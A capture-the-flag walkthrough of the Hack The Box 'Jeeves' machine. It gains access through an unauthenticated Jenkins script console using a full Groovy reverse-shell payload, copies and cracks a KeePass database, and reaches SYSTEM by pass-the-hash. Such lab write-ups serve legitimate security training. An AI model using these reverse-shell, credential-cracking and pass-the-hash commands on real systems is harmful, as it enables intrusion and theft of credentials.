HTB - Jeeves

Target IP: 10.129.228.112 Domain: JEEVES (Workgroup) DC Hostname: N/A - Standalone Windows host OS: Windows 10 Pro Build 10586 x64 Difficulty: Medium Assumed Breach: No - initial access via unauthenticated service exploitation Author: [g1nt0n1x]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

nmap -p 80,135,445,50000 -sCV -Pn -oA nmap/tcp-targeted 10.129.228.112
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Port Analysis & Attack Surface

PortServiceNotes
80/tcpHTTP / IIS 10.0Hosts an “Ask Jeeves” themed page
135/tcpMSRPCRPC endpoint mapper
445/tcpSMBWorkgroup machine, no domain
50000/tcpHTTP / JettyReturns 404 - worth enumerating deeper

No Kerberos, no LDAP: this is a standalone workgroup machine, not an AD environment. SMB and the two HTTP services are the primary attack surface.

1.2 Local Host Resolution

nxc smb 10.129.228.112 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts

1.3 SMB Enumeration

Confirming the OS build and testing for null/guest authentication:

nxc smb 10.129.228.112
# Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
 
nxc smb 10.129.228.112 -u '' -p ''
nxc smb 10.129.228.112 -u 'guest' -p ''
# No result - null and guest sessions are disabled

SMB is a dead end without credentials.


2. Phase 2: Web Enumeration

2.1 Port 80 - IIS “Ask Jeeves”

The web server hosts an “Ask Jeeves” search page, consistent with the hostname. Submitting any query redirects to error.html, making the application non-functional. Directory busting and virtual host enumeration both return nothing:

feroxbuster -u http://jeeves
# found: 0
 
ffuf -u http://10.129.228.112 -H "Host: FUZZ.Jeeves" \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 503
# found: 0

Port 80 is a dead end.

2.2 Port 50000 - Jetty (Jenkins)

The same initial scan against port 50000 returns nothing with the default wordlist:

feroxbuster -u http://jeeves:50000
# found: 0

The default raft-medium-directories.txt wordlist is a good first pass for HTB, but may miss custom or uncommon paths. Upgrading to the larger raft-large-words.txt wordlist finds a hit:

feroxbuster --url http://jeeves:50000 \
    -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
# 302 http://jeeves:50000/askjeeves => http://jeeves:50000/askjeeves/

Navigating to http://jeeves:50000/askjeeves/ reveals a Jenkins instance with no authentication required.


3. Phase 3: Initial Access via Jenkins Script Console

3.1 Jenkins Groovy Script Console

Jenkins exposes a Groovy Script Console under Manage Jenkins Script Console that allows arbitrary code execution on the underlying OS. Since we have unauthenticated access to Jenkins, we can use this directly.

We use a Groovy reverse shell payload and execute it from the Script Console:

String host="10.10.10.10";
int port=5555;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();Thread.sleep(50);
    try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Alternatively, a PowerShell-based reverse shell is more stable. Generate a Base64-encoded payload from revshells.com and execute it via:

def cmd = "cmd.exe /c powershell -enc <BASE64_PAYLOAD>".execute();

3.2 Catch the Shell

Set up a listener before executing the payload:

rlwrap nc -lvnp 5555

Confirmed initial access:

whoami
jeeves\kohsuke

4. Phase 4: Post-Exploitation - KeePass Database

4.1 File System Enumeration

Enumerating kohsuke’s home directory reveals a KeePass database:

tree /A /F
+---.groovy
|   \---grapes
+---Desktop
|       user.txt
+---Documents
|       CEH.kdbx

CEH.kdbx is a KeePass password safe. We need to transfer it to our machine for offline cracking.

4.2 Transfer via Impacket SMB Server

On Kali, host an SMB share:

sudo python3 smbserver.py myshare . -smb2support

On the victim, map the share and copy the file:

net use x: \\10.10.16.149\myshare /u:user password
Copy-Item CEH.kdbx X:\

4.3 Cracking the KeePass Master Password

KeePass databases are protected by a master password. Extract the hash for offline cracking:

keepass2john CEH.kdbx > CEH.kdbx.hash

Run hashcat, letting it auto-detect the hash mode:

hashcat CEH.kdbx.hash /usr/share/wordlists/rockyou.txt --user
# Recommended mode: 13400 (KeePass 1 / KeePass 2 AES)
 
hashcat -m 13400 CEH.kdbx.hash --user /usr/share/wordlists/rockyou.txt
# Password: moonshine1

The --user flag is needed because keepass2john prepends the filename as a username prefix (e.g., CEH:$keepass$...).

4.4 Extracting KeePass Entries

Open the database with kpcli:

kpcli --kdb=CEH.kdbx
# Password: moonshine1

Dump all entries:

kpcli:/> find .
kpcli:/> show 0
# Title: Backup stuff
# Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Extract all passwords for spraying:

awk '/Pass:/ {print $2}' keepass-extraction.txt > passwords.txt
# aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# 12345
# S1TjAtJHKsugh9oC4VZl
# pwndyouall!
# F7WhTrSFDKB6sxHU1cUn
# lCEUnYPjNfIuPZSzOySA
# Password

5. Phase 5: Privilege Escalation - Pass the Hash

5.1 Password Spray

Testing all extracted passwords against SMB as Administrator:

nxc smb Jeeves -u administrator -p passwords.txt
# No hits

5.2 Identifying the NTLM Hash

The first entry (aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00) is an LM:NTLM hash format, not a plaintext password. This calls for a Pass the Hash attack instead.

nxc smb Jeeves -u administrator \
    -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# [+] Jeeves\administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

5.3 Gaining SYSTEM

python /usr/share/doc/python3-impacket/examples/psexec.py administrator@jeeves \
    -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# C:\Windows\system32> whoami
# nt authority\system

Machine fully compromised.


Deep Dive: Jenkins Script Console RCE

Jenkins is a widely-deployed CI/CD automation server. Its Script Console (/script) executes arbitrary Groovy code in the JVM process context, which runs with the OS privileges of the Jenkins service account. On misconfigured instances with no authentication, this is a direct code execution primitive.

Key properties:

  • No authentication bypass needed - the feature works as designed; the vulnerability is the missing access control
  • Groovy can call Java APIs directly - Runtime.exec(), ProcessBuilder, socket operations, file I/O
  • Script Console is enabled by default - administrators must explicitly disable or restrict it

On real engagements, Jenkins instances are often exposed internally (intranet CI/CD) and frequently misconfigured. Always check /script and /manage for unauthenticated access.


Deep Dive: KeePass Offline Cracking

KeePass databases (.kdbx) are encrypted with a master password, optionally combined with a key file or Windows account. When only a master password is used, the database can be cracked offline.

keepass2john extracts a crackable hash from the database file that encodes the KDF parameters (PBKDF2 or Argon2) and a verification block:

CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a...

The *6000* field is the iteration count - higher values slow cracking significantly. KeePass 2 defaults to 6000 AES rounds, which is fast enough for rockyou to crack in reasonable time.

Hashcat mode 13400 handles both KeePass 1 and KeePass 2 AES databases. Always let hashcat auto-detect and confirm the mode before running a full crack.


Deep Dive: Pass the Hash (PtH)

Windows NTLM authentication does not require the plaintext password - it uses the NT hash directly in the challenge-response exchange. An attacker who obtains an NT hash (from a SAM dump, NTDS.dit, memory, or in this case a KeePass database) can authenticate as that user without ever knowing the plaintext password.

The hash format LM:NTLM (e.g., aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00) contains:

  • LM hash (aad3b435b51404eeaad3b435b51404ee): the null LM hash - indicates LM hashing is disabled
  • NT hash (e0fb1fb85756c24235ff238cbe81fe00): the actual hash used for authentication

Tools like nxc -H, psexec.py -hashes, and wmiexec.py -hashes all support PtH natively.

Why it works here: The KeePass “Backup stuff” entry stored an NTLM hash directly, not a typical plaintext password. Recognising the LM:NTLM format and switching to -H instead of -p is the key insight.


Key Takeaways & Checklist

  • When directory busting returns nothing, try a larger wordlist before giving up - raft-large-words.txt found /askjeeves where raft-medium missed it
  • Jenkins Script Console at /script or under Manage Jenkins is a direct RCE primitive when unauthenticated access is available
  • KeePass databases found on a target should always be transferred for offline cracking - keepass2john + hashcat mode 13400
  • Use --user with hashcat when the input comes from john-format hash files (username prefix included)
  • Password entries in KeePass may contain NTLM hashes rather than plaintext - recognise the LM:NTLM format
  • Pass the Hash with nxc -H works against SMB even on workgroup machines - no domain required
  • After a successful PtH with nxc, use psexec.py -hashes or wmiexec.py -hashes for a full shell